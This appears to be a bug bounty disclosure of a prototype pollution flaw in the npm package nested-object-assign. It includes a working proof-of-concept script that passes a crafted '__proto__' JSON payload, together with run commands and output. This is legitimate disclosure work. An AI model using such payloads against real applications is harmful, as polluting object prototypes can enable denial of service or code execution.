Prototype Pollution in geta/nestedobjectassign
Valid
Reported on
Jan 28th 2021
Description
nested-object-assign
is vulnerable to Prototype Pollution
.
Proof of Concept
- Create the following PoC file:
// poc.js
const assign = require('nested-object-assign')
console.log('Before: ' + {}.polluted)
assign({}, JSON.parse('{"__proto__": {"polluted": true}}'))
console.log('After: ' + {}.polluted)
- Execute the following commands in the terminal:
npm i nested-object-assign # install vulnerable package
node poc.js # run the PoC
- Check the output:
Before: undefined
After: true
Impact
Prototype Pollution
leads to Information Disclosure/DoS/RCE.
to join this conversation